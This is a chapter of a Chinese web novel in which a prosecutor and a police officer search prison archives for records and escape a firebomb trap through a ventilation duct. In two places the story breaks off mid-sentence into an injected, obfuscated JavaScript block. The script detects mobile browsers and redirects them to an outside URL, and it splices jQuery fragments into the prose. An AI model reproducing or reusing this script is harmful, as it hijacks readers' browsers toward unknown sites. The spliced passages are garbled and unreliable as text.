窗外,城市中流转的光彩都熄了,远方晨星寥落。天穹之下,是一片无穷无尽的、密不透风的黑。 * 周末,应泊接到电话准备下楼时,路从辜已经候在了他家小区门口。今天是个大晴天,清晨的风虽然还带着些刀锋似的凛冽,但阳光泼洒在身上,反倒让人从心底油然而生一股暖意。 路从辜双手抱臂倚在车上,一只橘黄色的流浪猫踮着脚缓缓凑到他脚边,在他裤腿上来回蹭蹭,又躺倒露出肚皮,似乎在暗示什么。 来都来了,好像也没必要学柳下惠坐怀不乱。路从辜慢慢蹲下,刚把手从袖子里抽出来,不远处便传来应泊的呼喊: “等一下。” 路从辜应声抬头望去,应泊拎着一个保温桶,向他快步跑来:“这猫就是爱勾搭人,等你上手就会给你一爪子。” 说着,应泊用脚尖轻轻地踢了踢猫屁股:“去,回你自己窝去。” 橘猫自讨没趣,翻了个身,“喵嗷喵嗷”地跑走了,听得出来,骂得很脏。应泊摘下围巾,用空出的手在路从辜脖子上胡乱缠了几圈,又把手里的保温桶塞进路从辜怀里: “你不肯上楼坐坐,我只好把早餐带下来了。” “给我的?” “皮蛋瘦肉粥,还有两个肉馅饼,一个茶叶蛋,一小碟拌菜。”应泊如数家珍,嘴角扬着自豪的笑,“粥是从五点开始熬的,肉馅饼是亲手包的,茶叶蛋泡了一晚上,壳都剥好了。” 明明个子更高,应泊却偏要用一种从下向上仰视的目光看着路从辜,颇有些可怜样。其实路从辜心里多少还是别扭,毕竟不论应泊做了什么说了什么,都只是在刻意回避,最关键的问题到底还是没有解决。 “我不饿。” 他嘴上这么说着,手却不听使唤地掀开了保温桶盖,一股浓香不由分说钻进鼻腔。 他抬头瞥了应泊一眼,眼底飘着四个字——他动摇了。 “不吃早餐可不行,吃完再走。”应泊揉揉他的头发,把他推上车,“我手艺很好的,你慢慢吃,我来开车。” 粥刚好把控在入口温热又不至于烫嘴的温度,大米和皮蛋熬得入口即化,瘦肉也一点不柴。路从辜一口接一口,喝了小半碗才想起来有事要说。 “今天是周末,监狱那边很多人都倒班休息了,值班的人不多,正好方便掩人耳目。”他掀开掩住腰间的外衣,“而且,我佩枪了。” 一把黑色的05式转轮手枪安置在他皮带的枪套上,应泊看得眼都直了。发觉应泊直勾勾的目光,路从辜抿了口粥,又用外衣盖上了枪,故作严肃道: “不许碰。” “啊……法警不让碰,你也不让碰。”应泊眉眼都落寞地耷下来。他斜眼瞟着外衣底下枪的轮廓,忽地问道: “哎,你枪法是不是特别好?” “一般般吧,跟特警比不了,但在系统内部还算是拔尖。”路从辜有意自谦,“上次开枪还是参加考核,希望……今天不要出什么岔子。” 朝阳监狱最早是一所劳改农场,背靠连绵的鄢山,发展到今天,由于规模、设施等都有些跟不上时代,关押罪犯的属性在逐步削弱,取而代之的是纪念意义。应泊显然非常熟悉路线,即便周边全是一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15057766|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片干枯的玉米秸秆,导航也屡屡因为没信号失灵,他还是轻车熟路地摸到了监狱门口。 “保温桶我回去会刷,不用管。”应泊观察着四周,“你先进去吧,我找个地方停车——这里没有停车场。” 这地方有些过于荒凉,路从辜刚下车就不由得起了一身鸡皮疙瘩。借着侦查的由头,监狱工作人员并没有刁难他,还好心地指了路。他独自踱步到办公楼下,应泊很快追了上来,帮他重新系了下围巾: “走吧,里面没暖气,有点阴冷阴冷的。” 整栋楼里几乎没有人,至少二人从一楼一直爬到四楼的档案室,连一根人的头发都没见到。应泊向更高层探探脑袋,用极轻的声音问: “你说,这里不会闹鬼吧……” “你还怕鬼?” “这叫对未知的事物保持尊重。”应泊“啧”了一声,把他推进档案室。陈年纸张的气息混杂着霉味,室内仅有的几扇小窗被厚重的窗帘遮挡得严严实实。一排排高大的木质书架沿墙而立,每一层都堆满了各式档案盒和文件夹,有的已经褪色斑驳,标签上的字迹模糊不清。 二人分头行动寻找目标案卷,却又在转了一圈后不约而同地回到了原地。路从辜被头顶一份标注着“强/奸/杀人”的案卷吸引了注意,抬手去够—— 可恶,只差半公分。 余光里,应泊隐隐发觉了他的窘迫,知道他好面子,又不想表现出来,于是一面继续查阅着自己的卷宗,一面把手举高,不经意地覆在他手上,帮他取下了那本卷宗。 “谢谢。”路从辜不自在地清了清嗓子,翻开卷宗。应泊阅卷的速度比他快不少,说是一目十行也不夸张,这让路从辜多少有点不舒服,虽然他也不清楚自己为什么要跟一个文官比阅读速度。 应泊一直很专注,翻到一半才倏地笑道:“看来哪儿都一样,我们那儿的案卷也是手写标页码,每次归档前都是玩了命地写。” 路从辜惊讶道:“你还亲自干这种活?” “书记员和助理干不完,只好搭一把手,不然过了期限,责任还得自己背。” 很遗憾,这本努力取下来的案卷与路从辜预想的那起无关,但案情还是令他为之愤慨,便指给应泊看:“也是未成年罪犯。你看这个,15岁,强/奸杀害了邻居家的小女孩。” 他拧着眉头:“道理我都懂,规矩我也明白,但是……真的不能枪毙吗?” 应泊无奈地耸耸肩:“很抱歉,确实不能。即便杀人时未满18周岁,而审判时已达18周岁,同样不能按照成年人的标准判处死刑。” “那些年纪更小的,12岁以下的罪犯,就完全不需要付出任何代价吗?” “这一点嘛……”应泊垂眸思索,“刑法学界正在讨论针对低龄未成年人犯罪,能否引入英美法系的‘恶意补足年龄制度’,意思是根据案发时未成年行为人的主观恶性来判断,而非仅仅按照年龄一刀切。换句话说,控方——也就是我们,如果能够证明行为人主观上具有‘恶意’ ,且达到了一定的证明标准时,就可以推翻行为人不具有刑事责任的认定,追究刑事责任。 ” 应泊把手上的卷宗放回书架上,沉声道:“对我们来说,上面怎么说,我们就怎么实施,做一把不带个人感情的刀,可能是更好的方式。想得太多,除了让自己痛苦,别无作用。” 然而,路从辜耳尖动了动,随后一把抓住他的手腕: “嘘——外面有人。” 应泊自觉屏住了呼吸:“又来?” 27. 火中取栗 确有窸窸簌簌的脚步声在档案室外作响。上次的阴影还萦绕在心头,二人对视一眼,互相捂住了嘴,静听外面的动静。 然而,脚步声过后,是一阵扫帚清扫地面的飒飒声,连带着簸箕磕碰的轻响。应泊松了口气,攥住路从辜覆在自己口鼻上的手,安抚一样地捏了捏: “只是清洁工人而已啦。” 指尖擦过路从辜长着老茧的指节,应泊垂眼定定地凝视着那暗色的角质凸出,又反复揉弄了几下,仿佛这样就能抚平似的。 路从辜本打算抽回手,一回神发觉他是在关注自己手上老茧,心下不解,便不再挣扎。应泊不经意地问:“这么厚,磨起泡了?” “训练用枪太重,一直练换弹,练瞄准,用不了几天就磨破了。”路从辜轻描淡写道,“磨破了再长好,然后再磨破,最后就会变成一层保护膜,不太好看,但已经成为皮和肉的一部分了。” 应泊不是木讷迟钝的人,只一思忖,自然就明白了弦外有音。他稍稍加重力气,用自己指腹最柔软的地方磨蹭着那处茧,良久,轻轻道: “隔着一层茧,虽然不会再受伤,可触感也被削弱了,不是吗?” 那温软如细微的电流一般击中心尖,抬眼又撞上应泊追询的目光,路从辜慌忙错开眼神,几乎是甩开了他的手:“……或许吧。” 时机未到,应泊不打算步步紧逼,低低一笑,岔开话题: “如果没记错的话,我上次是在那个柜子发现卷宗的。” 而后,他双手抱臂半倚在书架上,看路从辜三步并作两步闪身逃走,忽然觉得好笑。其实他也不记得卷宗放在哪里,只是想给路从辜一个抽离出去的机会罢了。 不过,歪打正着的,还真让应泊蒙对了。路从辜仔仔细细地搜寻了一圈,最终盯住一本被挤到角落里的卷宗,取出翻了几页,眼底一亮。 “是这本。”他宝贝地捧在手中,“蒋威,是他。还好,没被拿走。” 应泊的思绪还在回想方才路从辜仰头取书时绷紧的下颌线,外套下摆随着动作掀起,白色T恤紧裹的劲瘦腰线同样若隐若现,恰好能跟记忆里那个阳光下投篮的影子拼凑在一起。他心神一动,却又迅速压下眼中的波澜,走上前去: “零星犯这种收钱走关系的事情,他们不会记录在明面上,但这类犯人每个月收据上的数目应该都会比其他人高出一大截。至于斗殴记过,我记得是在……” 他一页页翻着,上身跟路从辜保持着礼貌的距离:“这一页。” 材料上附有照片,虽然已经泛黄褪色,但依然能清晰看出照片上人物的五官,其中一个明显是蒋威。二人转而关注照片中的另一个人,路从辜当即低呼: “这……就是郭子军吧?” 的确,眉眼、身材和那股警察特有气质,八成就是郭子军。应泊打趣道:“年轻的时候长得显老,到老就显年轻了,差别不大。” “如果是他,这里一定有郭子军的档案或者记录,我记得狱警的档案在前面。”路从辜把手上的卷宗塞给应泊,自己循着记忆找过去,“可惜时间过去太久,当年很多信息没有联网,害得我们找错方向,白白浪费了那么多时间。” 他按照时间搬出了一部分卷宗,快速查阅,不久便有了结果: “找到了。曾经因为无故旷工被记过一次,两个月后因与蒋威斗殴被开除。” “他无故旷工的时间……5月18号?”应泊神色一变,“不就是杜立娟的死亡时间吗?” “还有一点。”应泊指着蒋威的档案,“你看,这一页的页码还是78,后一页就变成92了。我看了目录,这里本来应该是收据,上面一定有缴费人的信息,但所有的收据都被撕掉了。” “会不会是取的时候不小心落在里面了。”路从辜不死心,又折返回去。档案柜突然发出令人牙酸的吱呀声,他的手指刚触到顶层档案盒的边缘,头顶排烟管旋即传来清脆的金属碰撞声,紧随其后的是应泊的急呼: “小心!” 路从辜的瞳孔猛地收缩。他几乎是本能地扑向应泊,三枚燃/烧/瓶裹着浸油的棉布坠地,玻璃炸裂的脆响在寂静的室内格外刺耳。汽油顷刻间漫过金属架底座,火舌顺着档案盒的牛皮纸封皮窜上天花板。 热浪从后袭来,二人感觉后背瞬间被汗浸透,汗水又在下一秒被蒸干。应泊翻身爬起,一把将路从辜拉起来护在怀里,二人踉跄着一同冲向档案室的门,粗暴地拧动把手—— 打不开,门被从外面锁上了。 怪不得一路走来几乎没有人,原来是请君入瓮的戏码。路从辜退后几米,又重重地踹上去,但徒劳无功。他们同时转头看向窗外,一圈细密而坚固的铁丝网将狭小的窗户死死围住。应泊想要拨打求救电话,手机右上角的标识却打消了他的希望: “该死,没信号。” “让开!”路从辜拔枪对准门锁,确认迸溅的弹片不会伤到应泊,才拨动扳机。可05式转轮手枪的威力本就不大,档案室的门又是强度极高的防爆门,他连开三枪,门始终纹丝未动。 应泊被浓烟呛出眼泪,仍死死抱着刚取下的卷宗:“那边是备用水箱,打一枪。” 水箱铁皮极脆,一枪便被打穿,水流倾泻而出,冰水溅在灼热的空气里腾起白雾。但水箱规模太小,在如此大的火势前完全是杯水车薪。 应泊扯下窗帘,浸入备用水箱。他用湿布裹住两人口鼻的瞬间,爆燃的火墙已封住正门。他忽然瞥见东北角天花板封住的通风口盖板——那是老式螺旋桨式通风口,盖板螺丝已经锈蚀。 “东北角!”应泊突然拽住路从辜的手。燃烧的档案柜轰然倒塌,火星雨点般落在他们刚才站立的位置。路从辜顺着他的视线看去,生锈的通风口盖板正在热浪中膨胀。 他很快明白了应泊的意思,为了节省子弹,他踩着椅子,用手枪枪托砸开盖板,自己先翻身而上,而后一手扒着管道内的罅隙,另一手将应泊拉了上来。五十公分宽的金属管道烫得像烙铁,应泊的羊绒大衣袖口顷刻灼出焦痕。二人咬着牙往前爬,只感觉全身的每一寸皮肤都在沸腾,额角的汗水滴在管道上发出"滋滋"的声响。 通风口实在太窄,路从辜腰间的弹匣在摩擦中滑落,他低声咒骂:“操。” 应泊听了先是一愣,看他摸黑去捞,忙将他推进管道深处。 两个楼层之间的管道不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15057767|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算太长,五楼是一个完全密闭的昏暗仓库。就在路从辜两手撑在五楼地面,即将钻出时,又是一阵脚步迫近,来者约莫有五到八人。 是来堵截的追兵,而且手上有枪。他们进入仓库后打开了灯,如果现在出去,必定免不了一场恶战。路从辜迅速藏进管道,看向应泊: “人太多了,我只剩三发子弹了。” “二十秒。”应泊突然开始解手表,金属手表在身下火光的映照中一闪,“帮我争取二十秒。” 路从辜的喉结滚动了一下。他太熟悉这个表情——高中时应泊每次解数学题,都会露出这种专注到近乎偏执的神情,虽然最后不一定能解出来,就算解出来大概率也是错的。尽管方才只有一瞥,但路从辜分明记得墙角有一排干粉灭火器。他钻出管道,连开两枪,又躲回管道中。枪声在密闭空间炸响,子弹击碎灭火器,干粉四溢交织成迷雾,盘桓的追兵立刻捂住口鼻,咳嗽声接连不断。 应泊爬向管道拐角,他的手指因高温而发抖,掌心也不断渗出汗水,他用衣袖垫着,最终将手表扣在裸露的电线上。 “五、四、三...” 最后一声“一”落地,手表与电线接触处爆出耀眼的电弧。先是高温炙烤,又被人为制造短路,五楼的照明系统应声炸裂,仓库中本来就有飘扬的干粉,被电火花一激,立刻迸发出不小的爆炸。那些追兵发出痛苦的嚎叫,虽然没丢性命,显然也伤得不轻。 路从辜刚打算钻出管道,却听见身后金属断裂的哀鸣——应泊所在的那段管道因高温开始坍塌! “接住!”下坠的瞬间,应泊将卷宗抛向路从辜,自己抓住悬垂的一截管道。灼热的钢管烫得掌心滋滋作响,他吃痛皱眉。路从辜将卷宗囫囵塞进T恤里,单手抓住管道的固定架。他的手臂肌肉绷紧,青筋暴起,另一只手伸向应泊:“抓住我!” 下方就是一片火海,一旦坠落顷刻便成飞灰。应泊不敢再往下看,努力抬头看向路从辜,右手抓住路从辜的手腕,左手仍死死扣着水管。两人的手掌都沾满汗水和鲜血,滑腻得几乎抓不住。 “我数三下,”路从辜的声音因用力而沙哑,“一起用力。” 应泊点点头,他的衬衫已经被汗水浸透,紧贴在背上。路从辜能感觉到他的手腕在发抖,力量已经几近耗竭。 "一、二、三!" 两人同时发力,应泊借着路从辜的拉力向上攀爬,他的裤腿膝盖处已经磨破。上半身终于越过平台边缘,路从辜一把搂住他的腰,将他拉了上来。 连喘息的时间都不留,二人丝毫不敢耽搁,互相搀扶着向仓库外奔逃。 最后一发子弹,路从辜给了一个瘫在地上还企图向他们开枪的追兵。当然,打的是胳膊。追兵失去反抗能力,恼怒地瞪了他们一眼,却只能捂着伤口龇牙咧嘴。路从辜当着他的面,拿走了他的枪。 “看什么看。”应泊瞪了回去,“正当防卫。” “你把人家仓库炸了。”跑出仓库后,路从辜幽幽道。 “证据呢?”应泊开始狡辩,“都烧干净了,谁能证明是我炸的?你吗?” 路从辜失笑,两手一摊:“我说什么了?我什么都没说。”